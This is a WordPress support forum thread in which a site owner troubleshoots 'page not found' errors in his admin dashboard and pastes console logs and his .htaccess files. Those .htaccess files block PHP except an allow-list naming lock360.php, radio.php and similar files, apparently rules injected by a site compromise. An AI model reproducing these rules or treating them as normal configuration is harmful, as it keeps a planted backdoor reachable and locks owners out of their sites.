kevinackford

@sterndata

Just tried that and get the page not found, have cleared cache etc. before trying

@sterndata I have just been clicking random links in my dashboard and some are working. A few of the WooCommerce and a couple of others and I was able to install the updates for WooCommerce, but anything to do ith the building or editing of the site is not working e.g. products, pages etc. etc.

@sterndata done all of the above and still get the page can’t be found message The new .htaccess is now the only one in the root and has permissions 0644

@sterndata

Ok before I start changing files, I take either of the above files, delete everything above where it says RewriteBase /, replace it with the text
# BEGIN WordPress

RewriteEngine On
RewriteRule .* –
[E=HTTP_AUTHORIZATION:%
{HTTP:Authorization}]

and at the end

#END WordPress

then delete the other files including the BAK one?

Hi @sterndata is this what you need?

I have 3 .htaccess files they are:

<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<FilesMatch ".(py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

The permissions on the two above are 0444

The 3rd one is a BAK file

• This reply was modified 3 years, 10 months ago by kevinackford.

@sterndata

Good news I can now see my dashboard.

Not quite so good news, whenever I click on a link I get my good ole friend come back with…Oops that page can’t be found message.

At least the dashboard is there which is a start.

I don’t know if you will be able to get anything from this link.

https://kevinackford.uk/wp-admin/

• This reply was modified 3 years, 10 months ago by kevinackford.

@sterndata

Thank you again for all of your assistance so far. I will do the step 1 and get back to you on whether it works or not.

Time is catching up with me again today so it will be tomorrow before I can try to get things done.

Have a great day (or evening)

I will now try to find the main .htaccess file in my sites root

Good grief there are loads of errors.

load-styles.php:1 Failed to load resource: the server responded with a status of 404 ()
load-scripts.php:1 Failed to load resource: the server responded with a status of 404 ()
load-scripts.php:1 Failed to load resource: the server responded with a status of 404 ()
load-scripts.php:1 Failed to load resource: the server responded with a status of 404 ()
load-scripts.php:1 Failed to load resource: the server responded with a status of 404 ()
common.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at common.min.js?ver=5.6.2:2
wp-util.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at wp-util.min.js?ver=5.6.2:2
api-request.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at api-request.min.js?ver=5.6.2:2
site-health.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at site-health.min.js?ver=5.6.2:2
wp-ajax-response.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at wp-ajax-response.min.js?ver=5.6.2:2
jquery.color.min.js?ver=2.1.2:2 Uncaught ReferenceError: jQuery is not defined
    at jquery.color.min.js?ver=2.1.2:2
wp-lists.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at wp-lists.min.js?ver=5.6.2:2
jquery.query.js?ver=2.1.7:11 Uncaught ReferenceError: jQuery is not defined
    at jquery.query.js?ver=2.1.7:11
edit-comments.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at edit-comments.min.js?ver=5.6.2:2
core.min.js?ver=1.12.1:5 Uncaught ReferenceError: jQuery is not defined
    at core.min.js?ver=1.12.1:5
    at core.min.js?ver=1.12.1:5
mouse.min.js?ver=1.12.1:9 Uncaught ReferenceError: jQuery is not defined
    at mouse.min.js?ver=1.12.1:9
    at mouse.min.js?ver=1.12.1:9
sortable.min.js?ver=1.12.1:9 Uncaught ReferenceError: jQuery is not defined
    at sortable.min.js?ver=1.12.1:9
    at sortable.min.js?ver=1.12.1:9
postbox.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at postbox.min.js?ver=5.6.2:2
dashboard.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at dashboard.min.js?ver=5.6.2:2
thickbox.js?ver=3.1-20121105:15 Uncaught ReferenceError: jQuery is not defined
    at thickbox.js?ver=3.1-20121105:15
plugin-install.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at plugin-install.min.js?ver=5.6.2:2
updates.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at updates.min.js?ver=5.6.2:2
media-upload.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at media-upload.min.js?ver=5.6.2:2
svg-painter.js?ver=5.6.2:241 Uncaught ReferenceError: jQuery is not defined
    at svg-painter.js?ver=5.6.2:241
heartbeat.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at heartbeat.min.js?ver=5.6.2:2
wp-auth-check.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at wp-auth-check.min.js?ver=5.6.2:2
wplink.min.js?ver=5.6.2:2 Uncaught ReferenceError: jQuery is not defined
    at wplink.min.js?ver=5.6.2:2
menu.min.js?ver=1.12.1:9 Uncaught ReferenceError: jQuery is not defined
    at menu.min.js?ver=1.12.1:9
    at menu.min.js?ver=1.12.1:9
autocomplete.min.js?ver=1.12.1:9 Uncaught ReferenceError: jQuery is not defined
    at autocomplete.min.js?ver=1.12.1:9
    at autocomplete.min.js?ver=1.12.1:9
/wp-admin/admin-ajax.php?action=wp-compression-test&test=1&_ajax_nonce=40d2485c74&1620745535182:1 Failed to load resource: the server responded with a status of 404 ()
/wp-admin/admin-ajax.php?action=wp-compression-test&test=no&_ajax_nonce=40d2485c74&1620745535814:1 Failed to load resource: the server responded with a status of 404 ()
load-styles.php:1 Failed to load resource: the server responded with a status of 404 ()

@sterndata

Sorry this is what I mean by not very technically minded. Where do I find the error console?

Wow just had a look at the Chrome Developer Tools link…there is loads of it. It will probably be quicker to build a new site than try to learn all of that. ??
Is there a way to move my present site into a new installation of WordPress to see if that solves it.
My hosting provider has WordPress on there

The .htaccess file in wp-admin has been removed there are now only .php files and an error_log file
I don’t know what you mean by “errors in the browser console.”
I apologise I am not very technically minded when it comes to the website

I have cleared the cache, logged back in to my admin and still get the same list of links.
I tried pressing the all pages link and I get my menu at the top of the page and the message
Oops! That page can’t be found.
It looks like nothing was found at this location. Maybe try one of the links below or a search?
If you need a screen shot how do I place one on here?

Hi again @sterndata

I have navigated to wp-content/themes/newshop-ecommerce and deleted the folder then uploaded the unzipped new-shop-ecommerce folder from my PC but still get the same.

As far as I am aware people can still view and make purchases on the site it is just that during COVID the group lessons part of sales has be disabled and now need to enable it again. https://www.kevinackford.uk

Could the problem not be with WordPress? as I thought that the Dashboard was a part of WordPress and not the theme.

I am sure that with your capable help we can get it sorted out, I really do appreciate your time on helping with this problem.

@sterndata

Thank you, there is just one problem with this.

then go to APPEARANCE->THEMES on the dashboard, click ADD NEW, then click UPLOAD THEME to upload the file you just downloaded.

If I press any of the links on the left of my screen it comes up with the Oops! That page can’t be found message so I am unable to use my dashboard.

• This reply was modified 3 years, 10 months ago by kevinackford.